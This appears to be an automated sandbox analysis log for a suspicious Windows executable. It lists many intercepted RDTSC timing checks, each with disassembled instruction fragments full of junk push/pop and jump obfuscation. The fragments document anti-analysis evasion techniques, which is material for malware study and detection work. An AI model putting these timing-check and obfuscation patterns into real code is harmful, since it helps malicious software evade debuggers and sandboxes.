Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 690DDD second address: 690DE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 690DE3 second address: 690E0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FA32872BAEFh 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push edi 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 pop edx 0x00000014 pop edi 0x00000015 mov eax, dword ptr [eax] 0x00000017 push eax 0x00000018 push edx 0x00000019 jno 00007FA32872BAE8h 0x0000001f rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 690EAB second address: 690F18 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FA328DF73B2h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push eax 0x0000000f mov edx, dword ptr [ebp+122D3B65h] 0x00000015 pop ecx 0x00000016 push 00000000h 0x00000018 add dword ptr [ebp+122D38B5h], edx 0x0000001e call 00007FA328DF73A9h 0x00000023 push edx 0x00000024 jc 00007FA328DF73B6h 0x0000002a jmp 00007FA328DF73B0h 0x0000002f pop edx 0x00000030 push eax 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 jp 00007FA328DF73A6h 0x0000003a jmp 00007FA328DF73B6h 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 690F18 second address: 690F39 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA32872BAF4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 690F39 second address: 690F3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 690F3D second address: 691003 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FA32872BAE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d push edi 0x0000000e push edx 0x0000000f jmp 00007FA32872BAF4h 0x00000014 pop edx 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a jmp 00007FA32872BAF6h 0x0000001f pop eax 0x00000020 jmp 00007FA32872BAEFh 0x00000025 push 00000003h 0x00000027 push 00000000h 0x00000029 push edx 0x0000002a call 00007FA32872BAE8h 0x0000002f pop edx 0x00000030 mov dword ptr [esp+04h], edx 0x00000034 add dword ptr [esp+04h], 0000001Ch 0x0000003c inc edx 0x0000003d push edx 0x0000003e ret 0x0000003f pop edx 0x00000040 ret 0x00000041 stc 0x00000042 push 00000000h 0x00000044 mov edx, dword ptr [ebp+122D3A7Dh] 0x0000004a push 00000003h 0x0000004c push 00000000h 0x0000004e push edi 0x0000004f call 00007FA32872BAE8h 0x00000054 pop edi 0x00000055 mov dword ptr [esp+04h], edi 0x00000059 add dword ptr [esp+04h], 00000015h 0x00000061 inc edi 0x00000062 push edi 0x00000063 ret 0x00000064 pop edi 0x00000065 ret 0x00000066 mov esi, dword ptr [ebp+122D3A59h] 0x0000006c push EA8ED4B6h 0x00000071 push eax 0x00000072 push edx 0x00000073 js 00007FA32872BAFCh 0x00000079 jmp 00007FA32872BAF6h 0x0000007e rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 691003 second address: 691066 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA328DF73B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 2A8ED4B6h 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007FA328DF73A8h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 00000019h 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a and ch, 00000073h 0x0000002d xor ecx, dword ptr [ebp+122D3B61h] 0x00000033 lea ebx, dword ptr [ebp+12455AEAh] 0x00000039 add dx, 0693h 0x0000003e push eax 0x0000003f push eax 0x00000040 jo 00007FA328DF73ACh 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6B196C second address: 6B198B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007FA32872BAF8h 0x0000000c rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6B198B second address: 6B19A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA328DF73B6h 0x00000009 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6B19A5 second address: 6B19B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jl 00007FA32872BB16h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6B19B7 second address: 6B19CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA328DF73B0h 0x00000009 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6B19CB second address: 6B19D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6AFAB7 second address: 6AFACB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA328DF73B0h 0x00000009 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6AFACB second address: 6AFACF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6AFF1C second address: 6AFF24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6AFF24 second address: 6AFF29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6B01EF second address: 6B01FB instructions: 0x00000000 rdtsc 0x00000002 je 00007FA328DF73A6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6B01FB second address: 6B0200 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6B0200 second address: 6B021D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FA328DF73A6h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push edi 0x0000000f pop edi 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push esi 0x00000016 push esi 0x00000017 pop esi 0x00000018 pop esi 0x00000019 push eax 0x0000001a push edx 0x0000001b push edx 0x0000001c pop edx 0x0000001d rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6B021D second address: 6B0221 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6B0221 second address: 6B0227 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6B0227 second address: 6B022E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6B022E second address: 6B0236 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6B03D2 second address: 6B03DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6B03DB second address: 6B03E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FA328DF73A6h 0x0000000a rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6B03E5 second address: 6B03EE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6B06DC second address: 6B06E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6B06E0 second address: 6B06E6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6B06E6 second address: 6B06EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6B06EC second address: 6B06F1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 67927D second address: 679287 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FA328DF73ACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6B123B second address: 6B1240 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6B13C6 second address: 6B13DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA328DF73ADh 0x00000009 popad 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6B13DB second address: 6B13E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6B1510 second address: 6B153A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push edx 0x00000009 pop edx 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007FA328DF73B9h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6B153A second address: 6B153F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6B153F second address: 6B156C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA328DF73AFh 0x00000009 jmp 00007FA328DF73B8h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6B156C second address: 6B1579 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007FA32872BAE6h 0x0000000d rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6B275D second address: 6B276D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA328DF73ABh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6B73B6 second address: 6B73E4 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA32872BAECh 0x00000008 je 00007FA32872BAEEh 0x0000000e jbe 00007FA32872BAE6h 0x00000014 push eax 0x00000015 pop eax 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push edi 0x0000001b jne 00007FA32872BAE6h 0x00000021 jnp 00007FA32872BAE6h 0x00000027 pop edi 0x00000028 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6B73E4 second address: 6B73E9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 67E406 second address: 67E40A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 67E40A second address: 67E40E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 67E40E second address: 67E432 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FA32872BAF0h 0x0000000d push eax 0x0000000e push edx 0x0000000f je 00007FA32872BAEAh 0x00000015 pushad 0x00000016 popad 0x00000017 push edx 0x00000018 pop edx 0x00000019 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6BB998 second address: 6BB99C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6BB99C second address: 6BB9B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007FA32872BAF4h 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6BC156 second address: 6BC167 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FA328DF73A6h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d pop eax 0x0000000e push esi 0x0000000f pop esi 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6BC167 second address: 6BC16C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6BC16C second address: 6BC172 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6BF15B second address: 6BF16D instructions: 0x00000000 rdtsc 0x00000002 js 00007FA32872BAE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jns 00007FA32872BAECh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6BF22B second address: 6BF230 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6BF230 second address: 6BF236 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6BF236 second address: 6BF263 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FA328DF73B7h 0x00000012 pop edx 0x00000013 pop eax 0x00000014 mov eax, dword ptr [eax] 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a pop eax 0x0000001b rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6BF263 second address: 6BF288 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FA32872BAE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007FA32872BAE8h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 push eax 0x00000018 push edx 0x00000019 ja 00007FA32872BAECh 0x0000001f rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6BF597 second address: 6BF59B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6BF820 second address: 6BF824 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6BF824 second address: 6BF82A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6C0239 second address: 6C023F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6C02F9 second address: 6C0306 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6C039D second address: 6C03AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jbe 00007FA32872BAE6h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6C03AF second address: 6C03B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6C03B3 second address: 6C03B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6C12D8 second address: 6C12E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6C12E3 second address: 6C137D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA32872BAF0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007FA32872BAE8h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 0000001Bh 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 mov edi, ecx 0x00000027 call 00007FA32872BAEBh 0x0000002c jns 00007FA32872BAECh 0x00000032 pop esi 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push edx 0x00000038 call 00007FA32872BAE8h 0x0000003d pop edx 0x0000003e mov dword ptr [esp+04h], edx 0x00000042 add dword ptr [esp+04h], 00000017h 0x0000004a inc edx 0x0000004b push edx 0x0000004c ret 0x0000004d pop edx 0x0000004e ret 0x0000004f mov di, bx 0x00000052 push 00000000h 0x00000054 sub edi, 3922173Dh 0x0000005a xchg eax, ebx 0x0000005b jc 00007FA32872BAF0h 0x00000061 push eax 0x00000062 jo 00007FA32872BAEEh 0x00000068 push edx 0x00000069 push eax 0x0000006a push edx 0x0000006b rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6C23AC second address: 6C23B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6C23B0 second address: 6C23BA instructions: 0x00000000 rdtsc 0x00000002 jo 00007FA32872BAE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6C2DF5 second address: 6C2E13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FA328DF73B5h 0x0000000e rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6C2E13 second address: 6C2E1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FA32872BAE6h 0x0000000a rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6C2E1D second address: 6C2E21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6C2E21 second address: 6C2E71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007FA32872BAE8h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 0000001Dh 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 mov esi, 631F2AD2h 0x00000028 push 00000000h 0x0000002a mov edi, 2B575506h 0x0000002f push 00000000h 0x00000031 clc 0x00000032 push eax 0x00000033 pushad 0x00000034 jmp 00007FA32872BAEEh 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6C441C second address: 6C442B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 pushad 0x00000007 popad 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6C442B second address: 6C443E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FA32872BAE6h 0x0000000a popad 0x0000000b jbe 00007FA32872BAECh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6C72EA second address: 6C72F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6C8339 second address: 6C8399 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA32872BAF3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007FA32872BAE8h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 0000001Ch 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 pushad 0x00000025 sub ah, 00000000h 0x00000028 or dword ptr [ebp+12464C3Eh], eax 0x0000002e popad 0x0000002f push 00000000h 0x00000031 mov dword ptr [ebp+122D1DAEh], ebx 0x00000037 push 00000000h 0x00000039 pushad 0x0000003a mov edi, ebx 0x0000003c push ebx 0x0000003d movsx esi, si 0x00000040 pop ecx 0x00000041 popad 0x00000042 push eax 0x00000043 push esi 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6C8399 second address: 6C839D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6C9452 second address: 6C9467 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA32872BAF1h 0x00000009 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6C9467 second address: 6C94CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA328DF73B4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e mov dword ptr [ebp+1247E6E1h], eax 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push esi 0x00000019 call 00007FA328DF73A8h 0x0000001e pop esi 0x0000001f mov dword ptr [esp+04h], esi 0x00000023 add dword ptr [esp+04h], 00000019h 0x0000002b inc esi 0x0000002c push esi 0x0000002d ret 0x0000002e pop esi 0x0000002f ret 0x00000030 push 00000000h 0x00000032 call 00007FA328DF73ADh 0x00000037 mov edi, dword ptr [ebp+122D273Bh] 0x0000003d pop ebx 0x0000003e xchg eax, esi 0x0000003f push eax 0x00000040 push edx 0x00000041 ja 00007FA328DF73A8h 0x00000047 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 6C94CE second address: 6C94D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
